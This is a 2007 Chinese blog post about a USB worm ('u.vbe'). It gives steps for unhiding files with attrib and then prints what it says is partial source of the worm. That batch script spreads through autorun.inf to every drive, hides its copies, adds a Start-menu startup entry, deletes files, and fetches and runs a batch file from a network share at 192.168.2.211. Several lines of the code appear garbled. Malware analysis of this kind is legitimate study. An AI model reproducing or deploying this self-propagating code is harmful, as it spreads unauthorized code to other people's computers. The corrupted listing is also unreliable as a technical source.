u.vbe 又弱智又善良的“病毒”

      
     最近总觉得很忙很累,倒霉的事却一件接一件地来,而今天早上又发生了一件让我急坏了的事情.
     昨晚论文指导导师找我谈论了关于我的论文修改意见,说是最迟要明天早上交给其他导师评分了,要求我把论文再给修改修改(因为要拿优秀,也就没办法了),因此,我只能开夜车把论文给赶出来,也好第二天早上打印后交上去,然后去做其他事情.
     原本是这么计划的,也比平时早起了几十分钟(这几十分钟对我来说实在是太宝贵了,况且是在早晨),然后带着2G容量的u盘下去打印论文,可结果呢,当我打开u盘的时候,看到很多要么是好像坏了的文件夹,要么是exe格式的文件,这下可坏了,我的论文难道就这样给毁掉了?!!还有我长期开发积累起来的应用程序呢??我很无奈,我只能怪打印处的机器,是它们干的好事,而打印处的sb们除了会用鼠标按打印按钮之外,其他的连给屁都不懂,唉,shit一个字!
     一开始我断定是感染了病毒(事实证明这个病毒应该用双引号给引起来),所以我换了几台机器试图证明点什么,但最终还是让我发现了新大陆:

     第一步:打开“我的电脑〉工具〉文件夹选项〉查看”后,其中在这个“高级设置”对话框中,需要做两件事,一是把“隐藏受保护的操作系统文件(推荐)”选项去掉沟沟,二是把“显示所有文件和文件夹”给选上去,之后再按“应用”和“确定”即可。

     此时,你应该看到了u盘中多了很多隐藏类型的文件夹,而这些文件夹跟exe格式文件的文件名前缀完全一样,当你打开它后发现你原来的东西还在,里面的内容什么都没有改变过,只是变成了受保护的隐藏文件夹。这时,事情就好办了,你大可以把u盘中原来没有的文件给删除掉,原来的文件继续可以使用。

     但是并不意味着你大功告成,因为我发现有些“感冒”严重的机器,第一步的操作根本就没效,即是隐藏受保护的操作系统文件(推荐)”等功能修改不成功,即使你按照第一步操作,然后你再次打开这个对话框,你会发现这些状态仍然保持原来的样子(无奈)。这时是否意味着已经无能为力了呢?答案为否。

     接着做第二步:

打开“开始〉运行〉输入cmd开发命令窗口”,然后进入U盘(以I盘符为例),做以下操作
cd I:\\ (回车)
I: (回车)

attrib -S -H * /D /S (回车)

打开cmd后直接输入
attrib -S -H I:\\* /D /S (回车)

     在此等待一段时间,你会发现你原来的文件夹全恢复为非隐藏状态了(否则重复以上操作),这才算大功告成!!!!!

     后来,我把这个搞搞振的“病毒”备份了一份,带回去研究了一下,结果发现,这个“ 病毒”在计算机病毒定义的三个特性(传播性、潜伏性、破坏性)并不具备破坏性,倒是觉得该“病毒”的作者太过于“善良”了,具有很强的玩弄u盘使用者的味道。

     该“病毒”具有以下特征:
        1、其不会对A,B盘造成任何影响
        2、其把你原来的文件夹的属性设置为存档、系统文件、只读和隐藏,然后新建一个前缀名与文件夹名一样的exe文件
... ...
     目前暂时发现这么多,如果时间允许的话我想继续挖掘挖掘,希望能为广大的u盘使用者提供有用的帮助

     以下是该“病毒”的部分源代码(仅供学习之用,希望与对此感兴趣的高手交流交流):

 

  1-------------------------------------------------------------------------------------------
  2@echo off
  3setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
  4cd /"%~dp0"
  5if /"%cd%"=="%~d0\" (explorer.exe "%~d0")
  6set v=01
  7set "endf=%systemdrive%\8bye.txt"
  8call:ie s.vbe
  9echo.Wscript.sleep 10000>s.vbe
 10attrib s.vbe ++++h
 11if /not "%cd%"=="%systemroot%" (call:cb&del ///q s.vbe&goto :eof)
 12set dl=CDEFGHIJKLMNOPQRSTUVWXYZ
 13set n=0
 14call:inf >inf.tem
 15call:ql
 16uda.a
 17md "%systemroot%\bakfiles\"
 18call:ie "%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"
 19copy uda-解压.bat "%systemroot%\bakfiles\将文件拖到本图标上以解压还原文件.bat"
 20call:ie "%systemroot%\bakfiles\uda.a"
 21call:copy uda.a "%systemroot%\bakfiles\"
 22:s
 23echo. >uhere-%v%.txt
 24if exist "%endf%" (set n=1&goto end)
 25if "!dl:~%n%,1!"=="" (set n=0&s.vbe&(ping 192.168.2.211 -1 &&call \\192.168.2.211\re$\add.bat))
 26set d=!dl:~%n%,1!:
 27set /a n=n+1
 28if not exist %d% (goto s)
 29if exist "%d%\autorun.inf\" (echo.y|cacls "%d%\autorun.inf" /p everyone:f
 30rd "%d%\autorun.inf" //q)
 31if exist "%d%\autorun.inf" (fc "%d%\autorun.inf" inf.tem&if not "!ERRORLEVEL!"=="0" (call U盘病毒分析.bat ---d %d:~0,-1---s&goto s1)) else (goto s1)
 32if not exist "%d%\%~n0.vbe" (goto s2)
 33if not exist "%d%\%~nx0" (goto s3)
 34if not exist "%d%\uda.a" (goto s4)
 35if exist %d%\%date:~0,10%.sk (goto s)
 36:s1
 37call:inf >%d%\autorun.inf
 38attrib %d%\autorun.inf ++++h
 39call:ie "%d%\%~n0.vbe"
 40:s2
 41call:vbe "%~nx0" >"%d%\%~n0.vbe"
 42attrib "%d%\%~n0.vbe" ++++h
 43:s3
 44call:copy "%~dpnx0" "%d%\"
 45:s4
 46call:copy "uda.a" "%d%\"
 47call:ie %d%\*.sk
 48echo.>%d%\%date:~0,10%.sk
 49attrib %d%\%date:~0,10%.sk ++++h
 50goto s
 51:cb
 52if exist "%systemroot%\uhere-*.txt" (del ///"%systemroot%\uhere-*.txt"&s.vbe)
 53if exist "%systemroot%\uhere-*.txt" (if exist "%systemroot%\uhere-%v%.txt" (goto :eof) else (call:v "%systemroot%\uhere-*.txt"&(if %v% lss !v0! (goto :eof))))
 54call:rm >%systemdrive%\已经被反U盘病毒的“病毒”感染.txt
 55call:copy "%~dpnx0" "%systemroot%\"
 56call:copy "uda.a" "%systemroot%\"
 57call:ie "%systemroot%\%~n0.vbe"
 58call:vbe "%~nx0" >"%systemroot%\%~n0.vbe"
 59call:ie "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
 60call:vbe "%systemroot%\%~nx0" >"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
 61start "" /wait /"%systemroot%\" "%systemroot%\%~n0.vbe"
 62goto :eof
 63:v
 64set "v0=%~nx1"
 65set /"v0=%v0:~6,2%"
 66goto :eof
 67:rm
 68echo.    看到这个,请不要慌张。电脑病毒的定义为:1、传播性;2、潜伏性;3、破坏性。根据此定义,本脚本这完全符合1,有点符合2,不符合3(若说破坏性也不是没有,但只针对U盘病毒,而且会在删除文件前备份,备份地址:%systemroot%\bakfiles\),因此,病毒二字加了引号,即不是真正的病毒。本脚本的目的是通过U盘传播,并沿途清理U盘中的病毒,如果可能,会把收集到的病毒文件发给作者;不会给您造成太多不便(与其被U盘病毒感染,不如被本脚本感染啦)。如果您觉得这样给您造成了不便,想卸载本脚本,请在%systemdrive%\下新建一个名为8bye的文本文件(不需要写入内容,即:新建%endf%),大约在20秒内完成卸载,并帮助您进行U盘病毒免疫。欲了解更多,请打开 U盘病毒分析 的自述文件(地址:%systemroot%\readme.txt)。谢谢!
 69echo.    包含文件:u.bat(本文件,4240字节)、uda.a(21674字节,md5:e6762ebf6123bc17ab31995c61bba955)
 70goto :eof
 71:vbe
 72echo.wscript.createobject("wscript.shell").run """%~1"" /start",0
 73goto :eof
 74:inf
 75echo.[AutoRun]
 76echo.open=wscript.exe %~n0.vbe
 77echo.shell\open\Command=wscript.exe %~n0.vbe
 78echo.shell\explore\Command=wscript.exe %~n0.vbe
 79echo.shell\find\Command=wscript.exe %~n0.vbe
 80goto :eof
 81:ie
 82if exist "%~1" (del ///"%~1")
 83goto :eof
 84:copy
 85call:ie "%~dp2%~nx1"
 86attrib "%~1" --h
 87copy "%~1" "%~dp2"
 88attrib "%~1" ++h
 89attrib "%~dp2%~nx1" ++h
 90goto :eof
 91:ql
 92cd /"%systemroot%\"
 93del ///q Anti-U盘免疫.bat ReadMe.txt uda-解压.bat U盘病毒分析.bat zap.a 主操控.bat 打开发送功能.bat
 94cd /"%~dp0"
 95goto :eof
 96:end
 97set d=!dl:~%n%,1!
 98echo.%d%:\
 99if exist %d%:\ (del ///q %d%:\u.vbe %d%:\u.bat %d%:\uda.a)
100set /a n=n+1
101if not "!dl:~%n%,1!"=="" goto end
102call U盘病毒分析.bat -c&call:ql&del ///"%systemdrive%\已经被反U盘病毒的“病毒”感染.txt" "%~dp0s.vbe" "%endf%" inf.tem "uda.a" "%~n0.vbe" "uhere-%v%.txt" "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe" "%~nx0"
103--------------------------------------------------------------------------------------------
104
posted on 2007-06-02 11:18  dengqiye  阅读(1593)  评论(0编辑  收藏  举报